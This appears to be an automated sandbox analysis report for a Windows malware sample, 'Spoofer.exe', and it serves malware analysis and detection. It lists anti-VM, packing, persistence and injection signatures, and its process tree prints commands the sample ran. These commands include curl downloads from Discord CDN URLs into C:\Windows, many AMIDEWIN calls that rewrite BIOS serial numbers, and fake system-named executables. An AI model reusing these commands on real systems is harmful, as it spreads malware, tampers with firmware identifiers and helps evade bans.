Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 04:26

General

  • Target
    Spoofer.exe
  • Size 2.7MB
  • Sample260826-e2zrgagl9x
  • SHA256 9cf81914030b67759112485c3f7fbf66286edd38e9a8bf93b5543e0cff582bd2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 6 IoCs
  • Themida packer 17 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Drops file in Windows directory 7 IoCs
  • Executes a command shell one-liner 1 TTPs 38 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Spoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\Spoofer.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2260
    • \??\c:\users\admin\appdata\local\temp\spoofer.exe 
      c:\users\admin\appdata\local\temp\spoofer.exe 
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c color 1
        3⤵
        • Executes a command shell one-liner
        PID:2936
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042295513219/amifldrv64.sys -o C:\Windows\amifldrv64.sys --silent
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5572
        • C:\Windows\system32\curl.exe
          curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042295513219/amifldrv64.sys -o C:\Windows\amifldrv64.sys --silent
          4⤵
          • Drops file in Windows directory
          PID:1900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042731716658/AMIDEWINx64.EXE -o C:\Windows\AMIDEWINx64.EXE --silent
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3376
        • C:\Windows\system32\curl.exe
          curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042731716658/AMIDEWINx64.EXE -o C:\Windows\AMIDEWINx64.EXE --silent
          4⤵
          • Drops file in Windows directory
          PID:4912
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /IVN DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:4992
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /IV DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:2828
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /IV DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SM DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:2788
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SP DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:1376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SV DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:4696
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SS DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:2768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SU AUTO >nul
        3⤵
        • Executes a command shell one-liner
        PID:2272
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SK DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3612
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SF DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5600
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BM DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:1212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BP DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:4804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BV DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:4688
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BS DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3416
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BT DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:4268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BLC DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5592
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CM DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CV DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:736
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CS DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CA DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CSK DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:1556
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /PSN DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:1252
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /PAT DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /PPN DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5188
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 1 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5716
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 2 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5500
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 3 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:5048
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 4 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:4840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 5 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:2456
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 6 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:1764
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 7 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 8 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:1864
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 9 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3936
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 10 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3008
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 11 DHQX992121213-%RANDOM% >nul
        3⤵
        • Executes a command shell one-liner
        PID:3564
    • C:\Windows\Resources\Themes\icsys.icn.exe
      C:\Windows\Resources\Themes\icsys.icn.exe
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:124
      • \??\c:\windows\resources\themes\explorer.exe
        c:\windows\resources\themes\explorer.exe
        3⤵
        • Modifies visibility of hidden/system files in Explorer
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5860
        • \??\c:\windows\resources\spoolsv.exe
          c:\windows\resources\spoolsv.exe SE
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5128
          • \??\c:\windows\resources\svchost.exe
            c:\windows\resources\svchost.exe
            5⤵
            • Modifies visibility of hidden/system files in Explorer
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks whether UAC is enabled
            • Drops file in System32 directory
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1436
            • \??\c:\windows\resources\spoolsv.exe
              c:\windows\resources\spoolsv.exe PR
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:3016

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        spoofer.exe 

        • Path C:\Users\Admin\AppData\Local\Temp\spoofer.exe 
        • Size 157KB
        • SHA256 fcd04587bc69ac61f1d59897fb35f248a1f97a3549df838d00321d73d65fe570
        • MD5 SHA1 SHA512 SSDEEP TLSH

        AMIDEWINx64.EXE

        • Path C:\Windows\AMIDEWINx64.EXE
        • Size 36B
        • SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
        • MD5 SHA1 SHA512

        explorer.exe

        • Path C:\Windows\Resources\Themes\explorer.exe
        • Size 2.6MB
        • SHA256 2434298e16fbbfd633be701e018ef5272c555a58096ece07d75f472067ae59c4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        icsys.icn.exe

        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 2.6MB
        • SHA256 8c8dfe4cdba22f65f47851f9f5939fb31c02f8c67b1ed3de782557de6ef5d9fd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        spoolsv.exe

        • Path C:\Windows\Resources\spoolsv.exe
        • Size 2.6MB
        • SHA256 2889727c9a057f9c0345392bdb6d9215f03e2be5ad2ee1d3d774ce42bae561ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        svchost.exe

        • Path C:\Windows\Resources\svchost.exe
        • Size 2.6MB
        • SHA256 09287bad010f9488f476e92c273cc51557a43ba53d93cd27b44d8e5b281be6b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/124-58-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/1436-46-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/1436-63-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/1436-64-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/2260-0-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/2260-59-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/3016-55-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/5128-34-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/5128-57-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/5860-23-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/5860-61-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/5860-75-0x0000000000400000-0x0000000000A16000-memory.dmp

        memory/5860-77-0x0000000000400000-0x0000000000A16000-memory.dmp